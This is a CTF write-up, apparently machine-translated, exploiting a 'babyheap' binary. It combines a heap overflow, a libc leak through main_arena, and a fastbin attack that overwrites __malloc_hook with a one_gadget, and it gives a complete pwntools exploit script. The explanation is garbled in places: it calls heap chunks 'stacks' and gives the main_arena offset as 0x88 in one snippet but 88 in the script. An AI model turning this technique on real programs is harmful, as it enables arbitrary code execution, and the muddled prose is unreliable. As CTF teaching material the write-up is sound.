babyheap_fastbin_attack

babyheap_fastbin_attack

First check the program protection

Here Insert Picture Description

Full protection. It is a menu system

Here Insert Picture Description

Analysis Program

void new()
{
  int index; // [rsp+0h] [rbp-10h]
  signed int size; // [rsp+4h] [rbp-Ch]
  void *ptr; // [rsp+8h] [rbp-8h]

  for ( index = 0; index <= 63; ++index )
  {
    if ( !*((_DWORD *)&flag + 4 * index) )
    {
      size = read_0();
      if ( size <= 0 || size > 1024 )
        exit(1);
      ptr = malloc(size);
      if ( !ptr )
        exit(1);
      *((_DWORD *)&flag + 4 * index) = 1;
      *((_DWORD *)&::size + 4 * index) = size;
      ::ptr[2 * index] = ptr;
      edit_0(index, size);
      return;
    }
  }
}

Create a heap, the heap information (size, whether to use the pointer) is stored in the bss section, and write the contents of the stack

__int64 edit()
{
  signed int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  size = read_0();
  if ( size <= 0 )
    exit(1);
  return edit_0(index, size);
}

Modify the length of our control, may realize a heap overflow.

ssize_t print()
{
  int index; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  return write(1, (const void *)ptr[2 * index], *((signed int *)&size + 4 * index));
}

Print stack contents, determined by the length defined at the outset

_QWORD *delete()
{
  _QWORD *result; // rax
  int index; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  free((void *)ptr[2 * index]);
  *((_DWORD *)&flag + 4 * index) = 0;
  *((_DWORD *)&size + 4 * index) = 0;
  result = ptr;
  ptr[2 * index] = 0LL;
  return result;
}

Delete heap, the flag and the size of all but the pointer is not cleared to 0, it can achieve the effect of re-use

There are two points can be used. Heap overflows and the pointer is not cleared.

Full protection, we can then malloc hook at the address written one_gadget

But first we must first leaked libc base address, you can use main_arena

When fastbin is empty, unsortedbin the fd and bk point to itself main_arena.

0x80 allocate four stacks (the last heap block prevents The unlink), first the first block implements a stack overflow stack, the second stack to modify the block size (the second and third stacks stacks combined size 0x121), after remove the second stacks, and re-assign a second size as large stacks stack (0x110) assigned to the second position of stacks, then delete the third block into stacks (unsorted_bin). By printing a second stack, heap leaked a third address that is near the main_arena, but also subtracted 0x88, as shown in FIG.
Here Insert Picture Description

Specific steps are as follows

new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)#prevent unlink
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'\x00'+'\x00')-0x88
print hex(main_arena)
p.recvuntil('>> ')

After main_arena get the address, we need to find the address of main_arena to libc. The title gives us bits of libc into IDA64

Looking malloc_trim function finds the following address array becomes main_arena

Here Insert Picture Description

Minus can get libc base address.

Then we again malloc hook address written one_gadget, using the most simple fastbin_attack, you can fake FD

fastbin_attack principle

Prior to this first look fastbin principle. When the size of the chunk is less than 0x80 will generate free fastbin.

Processing single linked list, wherein a front fd same size fastbin point. fastbin it will take time to redistribution of the same size chunk from back to front, and is taken in accordance with fd pointer. Into the sample code:

Here Insert Picture Description

When free all over

Here Insert Picture Description

Here Insert Picture Description

After a heap malloc list head becomes the last of a fastbin fd, that is, before a bin of address, and so on

Here Insert Picture Description

To run this example and found that indeed is taken from the back forward

Here Insert Picture Description

Therefore, we can infer address malloc is determined according to fd, if we maliciously modified the fd pointer then you can achieve any write.

First, we assign two FAST chunk, first used to fill unsortedbin, free second chunk, so that it becomes fastbin, stack overflow modified fd pointer pointing to the address of the second chunk close malloc_hook then be written one_gadget .

We look at a location near the malloc_hook, open position plus 8 to be able to forge the same size chunk, and at least in 0x7ffffdd1b00 to open up more, but just to open up fake chunk the size of bit 0x70 in 0x7ffff7dd1afd place. So the point here forged fd
Here Insert Picture Description

from pwn import *
#context.log_level='debug'
p=process('./babyheap')
#p=remote('152.136.18.34','9999')
def new(size,content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.sendline(str(size))
    p.send(content)
def edit(index,size,content):
    p.recvuntil('>> ')
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)
def show(index):
    p.recvuntil('>> ')
    p.sendline('3')
    p.sendline(str(index))
def dele(index):
    p.recvuntil('>> ')
    p.sendline('4')
    p.sendline(str(index))

new(0x80,'a'*0x80)#0
new(0x80,'a'*0x80)#1
new(0x80,'a'*0x80)#2
new(0x80,'a'*0x80)#prevent unlink 3
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)#1
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'\x00'+'\x00')-88
print hex(main_arena)
libc_base=main_arena-0x3c4b20
print hex(libc_base)
malloc_hook=main_arena-0x10

fake_chunk=malloc_hook-0x10-0x3
one_gadget=libc_base+0x4526a
new(0x80,'b'*0x80)#2
new(0x60,'c'*0x60)#4
dele(4)
payload='a'*0x80+p64(0)+p64(0x71)+p64(fake_chunk)
edit(3,len(payload),payload)
print hex(fake_chunk)
payload=0x3*'a'+p64(one_gadget).ljust(0x60,'0')
new(0x60,'e'*0x60)
new(0x60,payload)
new(0x90,'a'*0x90)
p.interactive()

Guess you like

Origin www.cnblogs.com/playmak3r/p/12071058.html